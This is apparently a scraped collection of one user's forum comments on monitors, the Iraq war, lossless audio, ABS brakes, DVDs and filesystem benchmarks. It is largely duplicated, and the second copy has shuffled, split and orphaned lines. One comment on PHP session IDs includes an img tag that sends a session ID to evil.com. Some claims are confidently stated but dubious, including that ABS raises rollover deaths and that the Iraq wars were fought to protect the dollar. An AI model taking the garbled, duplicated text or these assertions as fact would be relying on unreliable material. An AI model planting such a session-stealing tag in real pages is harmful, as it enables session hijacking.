Can we drop the "terrorists" thing already? Does anybody believe that a person with up to millions of dollars in funding and a few individuals with a suicidal drive to do something can be stopped?
Have muggings stopped now that we have ICBMs?
TFA says:
It has recommended security checks similar to those for airline passengers.
That makes sense I guess, and that is the whole story.
Yeah, I am an Apple fanboy, but Apple displays are better than Dell's and probably most others too. I've seen a comparison between an Apple and a Dell that used the same LCD panel, but the Apple looked better in terms of brightness and color. The test was cool because it had both displays hooked up to the same computer with images spanning across both of them.
Right now, I've got a 21" at work, and I find myself resizing windows, just to find the perfect balance of window size, far more than my dual monitor set up at home.
If in 2006 your windowing system, applications, or operating system don't remember your window placement from the last time you ran the application, I would suggest upgrading.
I remember back in 1995 or so when I first started using dual displays, I heard of a usability study that found that 2 smaller displays that had the same real estate of 1 that was twice as large was "easier" or "more productive" or something to use. Its typically much cheaper as well.
Dual displays in my experience are only good for some applications or workstyles. I gave up on dual displays on my laptop because it was too difficult because I would routinely hook them up in 3 different configurations (2x dual displays with different resolution monitors and just my laptop display), and apps would "remember" where they were supposed to go, but the situation was always different and I had to do the window shuffle like the parent was talking about, and it was not worth the effort.
In general, I find multi-monitor setups only useful for "read only" data on other displays that are not my primary one. The WIMP interface simply brakes down for interactive use on multiple displays or even a large one like these 30" ones. I feel like "mousing" across thousands of pixels to be a PITA. Especially when doing a DND or a window move across thousands of pixels. For gross movements like this a touch screen would be ideal, but they get too dirty too quickly. If the pointer followed the keyboard shortcuts to switch between applications, that would be much better. To switch apps with a simple Command-Tab press or two, that takes less than a second. Digging up my pointer to now use the application takes additional seconds to do for no reason. To me keyboard and pointer focus should be uniform.
As for the war, we aren't fighting any war for oil -- this is another myth. I strongly believe we fought both Iraq wars in order to protect the dollar from devaluation. For decades, the US dollar has been the currency used to purchase oil (at home and abroad). Hussein threatened to use another currency in 1990, and we attacked him. After he lost, he tried it again a decade later, and we attacked him again. I believe this unconstitutional war, as every war after World War II, was performed for two reasons: to prop the dollar as the international trading mechanism and to force countries to use our companies for products (mercantilism).
Dude, we need to meet in person some time. You are one of the most honest and insightful people I have "known" from reading your stuff. I have tons of respect for you, and wish I knew somebody at least similar in real life.
Yes, this is the only plausible explanation for the "war" in Iraq. It took me 2 or so years to figure out why, but that seems to make most sense.
Americans have been lied to by the government for a long time about our new enemy of the decade and why we need to spend tons of government money and pay higher taxes to "defend" ourselves from these declared enemies. I will say, that the nebulous, borderless, and nameless "terrorism" enemy is the absolute best one ever invented. Very creative. I got sick of killing commies that kept coming over to my house and wanting to be "free". The first couple was fun, but then it became a chore.
In the area that I live in if defense spending would be reduced by I guess 10% it would destroy the economy in the whole area. Direct loss of jobs and whatnot would surely happen, but the indirect ones from fast food places, small businesses, and the hot dog dude would all dissapear. Hell, I'm even employed indirectly by the NAVY. I really need to get a more respectable job in the next 6 months or year.
I estimate that the US way of doing things will not work in another 100 years. We depend so much on a growing population, deficit spending, wars, and our money being the international economic standard for our standard of living (driving to work and watching TV at home). These things simply cannot continue forever, unless we come up with a new and more aggressive means of at least perceived world domination.
Hopefully, we will become more like a modest European country and not just fall apart. I can't predict what things will be like.
Just to satisfy my own curiousity: if you've got a CD collection and access to a computer. . . what's stopping you?
Time. I have around 300 to 400 CDs or more. CDs play in my computer and my car stereo and everybody else's CD player or computer. MP3's don't give me anything over my 300 to 400 CDs that I already have (and basically stopped buying) and my over 1,000 hours of music in lossless format.
FLAC/any lossless is so stupid. I hate the idea of attempting to compress WAVs losslesly. These people are simply wasting space.
Get a job.
I have over 500 Gigs of FLACs that are either 16 or 24 bit between 2 and 6 discrete channels of audio content. That is roughly, 1350 hours of content (a work year is about 2000 hours) for $500 that I can give to my friends and play in any CD player for about $0.25 a CD.
MP3's suck because they are difficult to impossible to get to be seamless in all/most/some players. Let alone the artifacts and loss of treble and high end.
You're the one leaving out the reactions of the driver.
Bullshit. Drivers are the initial cause of almost 100% of accidents. From here http://www.mercola.com/2003/mar/26/car_accidents.h tm: "Moreover, some 98 percent of the accidents reported involved a single distracted driver."
Plus this is about "The Physics Behind Car Crashes", not about the people behind them.
Cars, in general, are safer than they used to be because of air bags, crumple zones, seat belts (and people wearing them), collapsable steering columns, reinforced roofs, etc. People simply do not die as much in cars as they used to. Other vehicles like SUVs are below the safety trend. That is why they are the car of choice for soccer moms.
Again:
"ABS keeps the front (steering) wheels of a vehicle from locking up under panic braking. This allows the driver to retain steering control. This should be a safety improvement, but only if the driver steers appropriately. Many drivers tend to oversteer in panic situations, turning the wheel farther than necessary. If the wheels are locked such oversteering is irrelevant, since a locked wheel slides sideways just as easily as forward. With ABS, however, oversteering is converted into real turning forces, so drivers who tend to oversteer may have more rollover accidents with ABS than without it."
You must be an ABS salesman, because nobody would defend at this length a device which has no safety benefits.
ABS is great at reducing rear end collisions especially when the roads are slippery like when raining and snowy. I used to slam on my brakes in the snow with ABS because it was cool. Driving more carefully (larger distance between you and the person in front of you) and slowly in wet and snowy conditions will save you and your car from damage than any ABS. Staying off of the road is your safest bet under those conditions. I have turned around and gone home in a 4x4 with ABS because the roads were snowy and icy.
To die in a rear end collision ABS will not save your life. You are already going too fast relative to the car in front. I've seen a person voluntarily drive a car into a tree at 50 mph with only a seatbelt and unbuckled the belt and walked out of the car (hightschool drivers ed class). It could have been rigged, I don't know. Insurance companies have not noticed a reduction in claims due to ABS.
My first experiment with ABS was in 1987 or 88 with a Mercedes on a wet road where the driver imitated the salesman who sold his parents the car by slamming on the brakes with his hands off of the wheel and you could feel the ABS working and you could see the steering wheel go slightly left and right as the ABS adjusted.
ABS seems like cool technology. Being a geek, I like the engineering behind them, but they don't do too much in the real world.
My gasoline car gets between 30 and 40 mpg. I probably drive average or less than many people, roughly 300 miles/week and spend less than $100/month on gas. Roughly $20 a week. At $6.60 per gallon in the US anybody with a truck or SUV will be spending about $500/month on gas driving what I do and getting about 20 mpg. Yes, folks that is $6,000 a year on gas.
Can you think of any 'magazines of the trade' that actually had a blind testing policy?
Car magazines tried it for a while, but it got too expensive and risky to drive brand new cars while blind.
Doesn't that partially have to do with the audio industries extreme fear of (double) blind tests?
I've actually seen double blind tests before for amplifiers with statistics, significant differences, confidence intervals, and everything. I've seen a number of double blind codec and media tests, especially for lossy formats like ATRAC, MP3, ogg, and whatnot.
I'll have to see what laws and union mandates require an 8 hour work day.
There are none. Its not illegal to never work. The 8 hour day x 5 days = 40 hour week thing was a law _limiting_ the amount of time an employer must have an employee work without extra compensation. I'm not sure how the salary people who work over 40 hours a week fit into the picture. I guess they volunteer their time after 40 hours because they like their job.
Many employers keep people at or below 32 hours so that they don't have to provide benefits to the employees.
I'm sure politically we're opposite but the 4 day work week is a great idea.
Good catch on the subsidies part, I was going to point that out as well.
This PDF talks about the cost and efficiencies of EXX fuels. They are basically the same as regular gas.
Most of the gas in the US is refined here (about 90% I believe). So its just the crude oil that we are missing. We also still produce roughly 1/2 of our own crude oil.
Oil is just a nasty commodity. It has become so entrenched in our economy that we wage wars over it to protect our economy from inflation.
If the government really wanted to save money on oil and tons of other things, reduce the work week to 4 days instead of 5. With the exception of holidays, the roads are always backed up and its called "rush hour" when people are driving to and from work.
I would prefer 3 day weekends by default, I'm not sure of anybody else that would object, but for some reason most people work 5 days a week. I guess its habit.
Rather than being critics who add to the industry as film and music journalists arguably did back in the heady days of the 50's - 70's... videogame journalists are mere extensions of the marketing machine.
Emphasis added for stoners:)
So, is this new? Look at any niche market journal like for stereo equipment, cars, or anything, and tell me how much negative press there is in them.
I'm a recovering audiophile, and I remember when I would read the magazines of the trade, everything they "reviewed" was excellent or at least very good compared to their multi-tens of thousands "reference" system for the money.
I'm going on Newtonian physics which is hundreds of years old.
The force in a rollover situation is due to centrifugal force at the center of mass of the vehicle which is somewhere between the ground and the roof of the car. The higher the center of gravity the more likely a rollover. An opposite force is required to roll the car over, otherwise it would keep going in the same direction. The opposite force is called friction, and that friction is between the tires and the road. The more friction there, the more likely the car will flip over.
Antilock brakes, by design, increase the friction during braking between the tires and the road over brakes which lock up and then the tires begin to melt which reduces friction.
To further illustrate the friction between the tires and the road, do a thought experiment where the car or SUV is on a sheet of ice without antilock brakes. The car simply will not flip over, it will spin around in circles.
Where are the geeks that used to visit this site go? Doesn't anybody take physics anymore or remember it?
As I said, and illustrated. Antilock brakes increase your likelihood of dying in a car, and reduce the likelihood of a simple rear end collision.
Also, your argument about people being better drivers now with ABS. A rollover situation is usually a once in a lifetime situation. Almost ever driver with ABS and without simply don't know what to do in that situation because they have never been in one.
Please leave your geek badge and close the door behind you.
Given the number of annoying sites that open links in separate windows
WTF is up with that? Some annoying sites don't even have a rhyme or reason for opening up new windows. I can't tell you how many times on one of those poorly developed sites that I've closed the window instead of going back because they randomly open up new windows or reuse the first one. I don't care for firefox in general over Safari, but I wish Safari had the option to disallow opening up new windows.
Oh, and another trend. WTF is up with those javascript links to close a window? Most people use windows and there is a huge funny looking red X on the right side of the screen that closes every other window (maybe IE can spawn a window without a title bar?)
That and while I'm ranting, I still can't believe that web developers tell me how wide my window needs to be. Most of what I read on the net is impossible MAXIMIZED. I can't trace the text that far across the screen to continue to the next line.
Since DVDs look absolutely fantastic on my 110" projection screen I don't see how they're going to make much improvement.
I never thought I would say this, but DVDs don't look good on my modest 43" HDTV after getting 1080i HDTV content. Decent upscaling projectors are what, over $10k a pop. I don't have that kind of cash to blow, and I like to be able to watch TV in the daytime or with lights on sometimes.
The only media I can think of that is dead is the 8-Track and 70 RPM.
Youngun. 33.3333, 45, and 78 is/were the standard record formats. I've never heard of a 70 RPM one.
Back on topic, I thought that the article title is very sensationalistic. I thought they were going to talk about something new or whatever, but they just talked about the different higher capacity DVDs (blue ray and HDDVD) not something like crystalline hologram media or whatever.
I don't see DVDs as a format going anywhere anytime before or after CDs. I mean, my DVD players/recorders can do both. The two new formats are the same form factor and I would imagine that they will be backwards compatible with regular DVDs and CDs as well.
Honestly, since I was in high school in the late 80s, I though that we should put music on chips like game cartridges of the time. No moving parts, protected from bad elements, etc. I guess that they were and still are way too expensive for mass duplication. I mean, the movie and music industry people are already poor and living in the streets because of the cost of the current media right?
Actually, when media is going to be free, I guess we will just transfer files over wireless to our car and homes and whatnot. I would kill to have my computer music collection not have to be put onto CD to listen in my car. And NO an MP3 player is not an option for me because I don't have any MP3s.
some developers to avoid even session cookies by using URL strings instead
Yes, that is what I was thinking. We all love PHP right? And those long unique autogenerated PHPSESSIONIDs are perfect for cross site information transfer.
These are done in spam mail all the time. I'm not sure if mail programs by default still show images, but it is common for them to have images that have appended your email address in some way to verify you got the message for more spam your way!
Now we can look at anybody's phone records, I'm not sure how much different this is. Actually, there is so much of everybody's personal information floating around for sale, I would bet that the supply outweighs the demand. I mean, besides the dumbass marketing folks that already fill up my mailbox with deceiving checks and other things that sometimes look important, who has the time or desire to spy on people that much?
Should I be more paranoid? I'm fairly paranoid already, but I can beef it up a bit if necessary.
Am I reading this "benchmark" correctly? Did he base his results on a sample size of 1?
At the very least, you run multiple times and average the results to give statistically meaningful numbers. I can't think of ANY time where a sample size of 1 was meaningful for anything.
Why isn't there a -10 Wrong moderation option?
From the weak FA:
NOTE1: Between each test run, a 'sync' and 10 second sleep
were performed. NOTE2: Each file system was tested on a cleanly made file
System. NOTE3: All file systems were created using default options. NOTE4: All tests were performed with the cron daemon killed
and with 1 user logged in. NOTE5: All tests were run 3 times and the average was taken,
if any tests were questionable, they were re-run and
checked with the previous average for consistency.
I would rather see these benchmarks on a computer less than 5 years old. I would also appreciate an open source version of the tests so they could be reproduced. For ease of reading, I think the article should be on a separate page on the site as well.
I've got a screaming Dell 1.6 GHz P4 to test with and here are my results for a couple of tests it only has ext3 and a whatever cheap harddrive came with the box. I'm not sure if dma is enabled or if I've done any hdparam tunings, but I'm not sure of their test system either:
my touch 10,000 files: 24.314 seconds theirs 48.25
I used a shell script that called/usr/bin/touch
Now if I use a Perl open() call, I get 8.887 seconds Now with a cheesy C that uses fopen() and fclose() I get 4.639 seconds
my make 10,000 directories: 56.832 seconds theirs 49.87
that is a shell script
If I user perl, I get 35.171 seconds
The/dev/zero stuff is completely bogus. No indication of the blocksize that was used.
The copy kernel stuff to and from a different slower disk with an unknown filesystem on it is useless.
The split tests are not indicative of anything in real life, and they took on order of between 60 seconds and 130 seconds to perform on their 500MHz system with most being in the 130 second range. I got 16.547 seconds.
I do not see how any relevant information can be obtained from this article. I'm disappointed in the Linux Gazette and Slashdot for printing this information.
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Can we drop the "terrorists" thing already? Does anybody believe that a person with up to millions of dollars in funding and a few individuals with a suicidal drive to do something can be stopped?
Have muggings stopped now that we have ICBMs?
TFA says:
It has recommended security checks similar to those for airline passengers.
That makes sense I guess, and that is the whole story.
Yeah, I am an Apple fanboy, but Apple displays are better than Dell's and probably most others too. I've seen a comparison between an Apple and a Dell that used the same LCD panel, but the Apple looked better in terms of brightness and color. The test was cool because it had both displays hooked up to the same computer with images spanning across both of them.
A ppleStore.woa/70507/wo/Bza6pLFRfdLh24gquUX1i6iw2QS /1.0.19.1.0.8.63.0.0.0.0.0.0.3.1.1.0?78,67. They don't have 30" ones at this time, but they do and they are cheaper than Dells and often 1/2 of the regular Apple retail price.
$300 for a luxury purchase like this is only a 13% difference. If your looking at quality and saving a buck, keep looking at Apple's refurbished equipment page http://store.apple.com/1-800-MY-APPLE/WebObjects/
Right now, I've got a 21" at work, and I find myself resizing windows, just to find the perfect balance of window size, far more than my dual monitor set up at home.
If in 2006 your windowing system, applications, or operating system don't remember your window placement from the last time you ran the application, I would suggest upgrading.
I remember back in 1995 or so when I first started using dual displays, I heard of a usability study that found that 2 smaller displays that had the same real estate of 1 that was twice as large was "easier" or "more productive" or something to use. Its typically much cheaper as well.
Dual displays in my experience are only good for some applications or workstyles. I gave up on dual displays on my laptop because it was too difficult because I would routinely hook them up in 3 different configurations (2x dual displays with different resolution monitors and just my laptop display), and apps would "remember" where they were supposed to go, but the situation was always different and I had to do the window shuffle like the parent was talking about, and it was not worth the effort.
In general, I find multi-monitor setups only useful for "read only" data on other displays that are not my primary one. The WIMP interface simply brakes down for interactive use on multiple displays or even a large one like these 30" ones. I feel like "mousing" across thousands of pixels to be a PITA. Especially when doing a DND or a window move across thousands of pixels. For gross movements like this a touch screen would be ideal, but they get too dirty too quickly. If the pointer followed the keyboard shortcuts to switch between applications, that would be much better. To switch apps with a simple Command-Tab press or two, that takes less than a second. Digging up my pointer to now use the application takes additional seconds to do for no reason. To me keyboard and pointer focus should be uniform.
As for the war, we aren't fighting any war for oil -- this is another myth. I strongly believe we fought both Iraq wars in order to protect the dollar from devaluation. For decades, the US dollar has been the currency used to purchase oil (at home and abroad). Hussein threatened to use another currency in 1990, and we attacked him. After he lost, he tried it again a decade later, and we attacked him again. I believe this unconstitutional war, as every war after World War II, was performed for two reasons: to prop the dollar as the international trading mechanism and to force countries to use our companies for products (mercantilism).
Dude, we need to meet in person some time. You are one of the most honest and insightful people I have "known" from reading your stuff. I have tons of respect for you, and wish I knew somebody at least similar in real life.
Yes, this is the only plausible explanation for the "war" in Iraq. It took me 2 or so years to figure out why, but that seems to make most sense.
Americans have been lied to by the government for a long time about our new enemy of the decade and why we need to spend tons of government money and pay higher taxes to "defend" ourselves from these declared enemies. I will say, that the nebulous, borderless, and nameless "terrorism" enemy is the absolute best one ever invented. Very creative. I got sick of killing commies that kept coming over to my house and wanting to be "free". The first couple was fun, but then it became a chore.
In the area that I live in if defense spending would be reduced by I guess 10% it would destroy the economy in the whole area. Direct loss of jobs and whatnot would surely happen, but the indirect ones from fast food places, small businesses, and the hot dog dude would all dissapear. Hell, I'm even employed indirectly by the NAVY. I really need to get a more respectable job in the next 6 months or year.
I estimate that the US way of doing things will not work in another 100 years. We depend so much on a growing population, deficit spending, wars, and our money being the international economic standard for our standard of living (driving to work and watching TV at home). These things simply cannot continue forever, unless we come up with a new and more aggressive means of at least perceived world domination.
Hopefully, we will become more like a modest European country and not just fall apart. I can't predict what things will be like.
Just to satisfy my own curiousity: if you've got a CD collection and access to a computer. . . what's stopping you?
Time. I have around 300 to 400 CDs or more. CDs play in my computer and my car stereo and everybody else's CD player or computer. MP3's don't give me anything over my 300 to 400 CDs that I already have (and basically stopped buying) and my over 1,000 hours of music in lossless format.
FLAC/any lossless is so stupid. I hate the idea of attempting to compress WAVs losslesly. These people are simply wasting space.
Get a job.
I have over 500 Gigs of FLACs that are either 16 or 24 bit between 2 and 6 discrete channels of audio content. That is roughly, 1350 hours of content (a work year is about 2000 hours) for $500 that I can give to my friends and play in any CD player for about $0.25 a CD.
MP3's suck because they are difficult to impossible to get to be seamless in all/most/some players. Let alone the artifacts and loss of treble and high end.
I'm sorry you can't afford to store free music.
You're the one leaving out the reactions of the driver.
h tm: "Moreover, some 98 percent of the accidents reported involved a single distracted driver."
Bullshit. Drivers are the initial cause of almost 100% of accidents. From here http://www.mercola.com/2003/mar/26/car_accidents.
Plus this is about "The Physics Behind Car Crashes", not about the people behind them.
Cars, in general, are safer than they used to be because of air bags, crumple zones, seat belts (and people wearing them), collapsable steering columns, reinforced roofs, etc. People simply do not die as much in cars as they used to. Other vehicles like SUVs are below the safety trend. That is why they are the car of choice for soccer moms.
Again:
"ABS keeps the front (steering) wheels of a vehicle from locking up under panic braking. This allows the driver to retain steering control. This should be a safety improvement, but only if the driver steers appropriately. Many drivers tend to oversteer in panic situations, turning the wheel farther than necessary. If the wheels are locked such oversteering is irrelevant, since a locked wheel slides sideways just as easily as forward. With ABS, however, oversteering is converted into real turning forces, so drivers who tend to oversteer may have more rollover accidents with ABS than without it."
http://www.parceng.com/newsletters/020201.html
You must be an ABS salesman, because nobody would defend at this length a device which has no safety benefits.
ABS is great at reducing rear end collisions especially when the roads are slippery like when raining and snowy. I used to slam on my brakes in the snow with ABS because it was cool. Driving more carefully (larger distance between you and the person in front of you) and slowly in wet and snowy conditions will save you and your car from damage than any ABS. Staying off of the road is your safest bet under those conditions. I have turned around and gone home in a 4x4 with ABS because the roads were snowy and icy.
To die in a rear end collision ABS will not save your life. You are already going too fast relative to the car in front. I've seen a person voluntarily drive a car into a tree at 50 mph with only a seatbelt and unbuckled the belt and walked out of the car (hightschool drivers ed class). It could have been rigged, I don't know. Insurance companies have not noticed a reduction in claims due to ABS.
My first experiment with ABS was in 1987 or 88 with a Mercedes on a wet road where the driver imitated the salesman who sold his parents the car by slamming on the brakes with his hands off of the wheel and you could feel the ABS working and you could see the steering wheel go slightly left and right as the ABS adjusted.
ABS seems like cool technology. Being a geek, I like the engineering behind them, but they don't do too much in the real world.
My gasoline car gets between 30 and 40 mpg. I probably drive average or less than many people, roughly 300 miles/week and spend less than $100/month on gas. Roughly $20 a week. At $6.60 per gallon in the US anybody with a truck or SUV will be spending about $500/month on gas driving what I do and getting about 20 mpg. Yes, folks that is $6,000 a year on gas.
Can you think of any 'magazines of the trade' that actually had a blind testing policy?
Car magazines tried it for a while, but it got too expensive and risky to drive brand new cars while blind.
Doesn't that partially have to do with the audio industries extreme fear of (double) blind tests?
I've actually seen double blind tests before for amplifiers with statistics, significant differences, confidence intervals, and everything. I've seen a number of double blind codec and media tests, especially for lossy formats like ATRAC, MP3, ogg, and whatnot.
I'll have to see what laws and union mandates require an 8 hour work day.
There are none. Its not illegal to never work. The 8 hour day x 5 days = 40 hour week thing was a law _limiting_ the amount of time an employer must have an employee work without extra compensation. I'm not sure how the salary people who work over 40 hours a week fit into the picture. I guess they volunteer their time after 40 hours because they like their job.
Many employers keep people at or below 32 hours so that they don't have to provide benefits to the employees.
I'm sure politically we're opposite but the 4 day work week is a great idea.
Confused about the politically opposite part.
Good catch on the subsidies part, I was going to point that out as well.
This PDF talks about the cost and efficiencies of EXX fuels. They are basically the same as regular gas.
Most of the gas in the US is refined here (about 90% I believe). So its just the crude oil that we are missing. We also still produce roughly 1/2 of our own crude oil.
Oil is just a nasty commodity. It has become so entrenched in our economy that we wage wars over it to protect our economy from inflation.
If the government really wanted to save money on oil and tons of other things, reduce the work week to 4 days instead of 5. With the exception of holidays, the roads are always backed up and its called "rush hour" when people are driving to and from work.
I would prefer 3 day weekends by default, I'm not sure of anybody else that would object, but for some reason most people work 5 days a week. I guess its habit.
Rather than being critics who add to the industry as film and music journalists arguably did back in the heady days of the 50's - 70's... videogame journalists are mere extensions of the marketing machine.
:)
Emphasis added for stoners
So, is this new? Look at any niche market journal like for stereo equipment, cars, or anything, and tell me how much negative press there is in them.
I'm a recovering audiophile, and I remember when I would read the magazines of the trade, everything they "reviewed" was excellent or at least very good compared to their multi-tens of thousands "reference" system for the money.
Why do we continually let wrong-doing companies settle lawsuits by giving away advertising?
Dunno. Why do "we"?
I remember a long time ago when some Americans got pissed at a company and simply raided their supply of products and threw them into a harbor.
Read all about it here.
Again, since this information is a decade old
I'm going on Newtonian physics which is hundreds of years old.
The force in a rollover situation is due to centrifugal force at the center of mass of the vehicle which is somewhere between the ground and the roof of the car. The higher the center of gravity the more likely a rollover. An opposite force is required to roll the car over, otherwise it would keep going in the same direction. The opposite force is called friction, and that friction is between the tires and the road. The more friction there, the more likely the car will flip over.
Antilock brakes, by design, increase the friction during braking between the tires and the road over brakes which lock up and then the tires begin to melt which reduces friction.
To further illustrate the friction between the tires and the road, do a thought experiment where the car or SUV is on a sheet of ice without antilock brakes. The car simply will not flip over, it will spin around in circles.
Where are the geeks that used to visit this site go? Doesn't anybody take physics anymore or remember it?
As I said, and illustrated. Antilock brakes increase your likelihood of dying in a car, and reduce the likelihood of a simple rear end collision.
Also, your argument about people being better drivers now with ABS. A rollover situation is usually a once in a lifetime situation. Almost ever driver with ABS and without simply don't know what to do in that situation because they have never been in one.
Please leave your geek badge and close the door behind you.
Seriously, you're going WAY beyond the "sane" limit here. It's kinda scary that you want his phone number and have his address..
5 33209&tid=158&tid=215.
He's just too cheap to pay the $110 to these guys more info at http://yro.slashdot.org/article.pl?sid=06/01/06/1
Just to satisfy my own curiousity: if you've got a CD collection and access to a computer. . . what's stopping you?
p hp and others :)
Hundreds of gigs of http://bt.etree.org/browse.php and http://www.archive.org/audio/etreelisting-browse.
Maybe so, but it is becoming increasingly difficult to purchase new mainstream titles on VHS.
Makes sense http://www.candisc.com/03price/03vhs.html vs http://www.candisc.com/03price/03pricedvd.html
Given the number of annoying sites that open links in separate windows
WTF is up with that? Some annoying sites don't even have a rhyme or reason for opening up new windows. I can't tell you how many times on one of those poorly developed sites that I've closed the window instead of going back because they randomly open up new windows or reuse the first one. I don't care for firefox in general over Safari, but I wish Safari had the option to disallow opening up new windows.
Oh, and another trend. WTF is up with those javascript links to close a window? Most people use windows and there is a huge funny looking red X on the right side of the screen that closes every other window (maybe IE can spawn a window without a title bar?)
That and while I'm ranting, I still can't believe that web developers tell me how wide my window needs to be. Most of what I read on the net is impossible MAXIMIZED. I can't trace the text that far across the screen to continue to the next line.
Read my other post here.
Since DVDs look absolutely fantastic on my 110" projection screen I don't see how they're going to make much improvement.
I never thought I would say this, but DVDs don't look good on my modest 43" HDTV after getting 1080i HDTV content. Decent upscaling projectors are what, over $10k a pop. I don't have that kind of cash to blow, and I like to be able to watch TV in the daytime or with lights on sometimes.
The only media I can think of that is dead is the 8-Track and 70 RPM.
Youngun. 33.3333, 45, and 78 is/were the standard record formats. I've never heard of a 70 RPM one.
Back on topic, I thought that the article title is very sensationalistic. I thought they were going to talk about something new or whatever, but they just talked about the different higher capacity DVDs (blue ray and HDDVD) not something like crystalline hologram media or whatever.
I don't see DVDs as a format going anywhere anytime before or after CDs. I mean, my DVD players/recorders can do both. The two new formats are the same form factor and I would imagine that they will be backwards compatible with regular DVDs and CDs as well.
Honestly, since I was in high school in the late 80s, I though that we should put music on chips like game cartridges of the time. No moving parts, protected from bad elements, etc. I guess that they were and still are way too expensive for mass duplication. I mean, the movie and music industry people are already poor and living in the streets because of the cost of the current media right?
Actually, when media is going to be free, I guess we will just transfer files over wireless to our car and homes and whatnot. I would kill to have my computer music collection not have to be put onto CD to listen in my car. And NO an MP3 player is not an option for me because I don't have any MP3s.
some developers to avoid even session cookies by using URL strings instead
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Yes, that is what I was thinking. We all love PHP right? And those long unique autogenerated PHPSESSIONIDs are perfect for cross site information transfer.
<img src="http://evil.com/foo.jpg?PHPSESSIONID=xyxxyxy
These are done in spam mail all the time. I'm not sure if mail programs by default still show images, but it is common for them to have images that have appended your email address in some way to verify you got the message for more spam your way!
Now we can look at anybody's phone records, I'm not sure how much different this is. Actually, there is so much of everybody's personal information floating around for sale, I would bet that the supply outweighs the demand. I mean, besides the dumbass marketing folks that already fill up my mailbox with deceiving checks and other things that sometimes look important, who has the time or desire to spy on people that much?
Should I be more paranoid? I'm fairly paranoid already, but I can beef it up a bit if necessary.
Am I reading this "benchmark" correctly? Did he base his results on a sample size of 1?
At the very least, you run multiple times and average the results to give statistically meaningful numbers. I can't think of ANY time where a sample size of 1 was meaningful for anything.
Why isn't there a -10 Wrong moderation option?
From the weak FA:
NOTE1: Between each test run, a 'sync' and 10 second sleep
were performed.
NOTE2: Each file system was tested on a cleanly made file
System.
NOTE3: All file systems were created using default options.
NOTE4: All tests were performed with the cron daemon killed
and with 1 user logged in.
NOTE5: All tests were run 3 times and the average was taken,
if any tests were questionable, they were re-run and
checked with the previous average for consistency.
I would rather see these benchmarks on a computer less than 5 years old. I would also appreciate an open source version of the tests so they could be reproduced. For ease of reading, I think the article should be on a separate page on the site as well.
/usr/bin/touch
/dev/zero stuff is completely bogus. No indication of the blocksize that was used.
I've got a screaming Dell 1.6 GHz P4 to test with and here are my results for a couple of tests it only has ext3 and a whatever cheap harddrive came with the box. I'm not sure if dma is enabled or if I've done any hdparam tunings, but I'm not sure of their test system either:
my touch 10,000 files: 24.314 seconds theirs 48.25
I used a shell script that called
Now if I use a Perl open() call, I get 8.887 seconds
Now with a cheesy C that uses fopen() and fclose() I get 4.639 seconds
my make 10,000 directories: 56.832 seconds theirs 49.87
that is a shell script
If I user perl, I get 35.171 seconds
The
The copy kernel stuff to and from a different slower disk with an unknown filesystem on it is useless.
The split tests are not indicative of anything in real life, and they took on order of between 60 seconds and 130 seconds to perform on their 500MHz system with most being in the 130 second range. I got 16.547 seconds.
I do not see how any relevant information can be obtained from this article. I'm disappointed in the Linux Gazette and Slashdot for printing this information.
I will take an external 400Gb drive.
Is the window worth paying more than $1/gig of storage? Let alone over $2?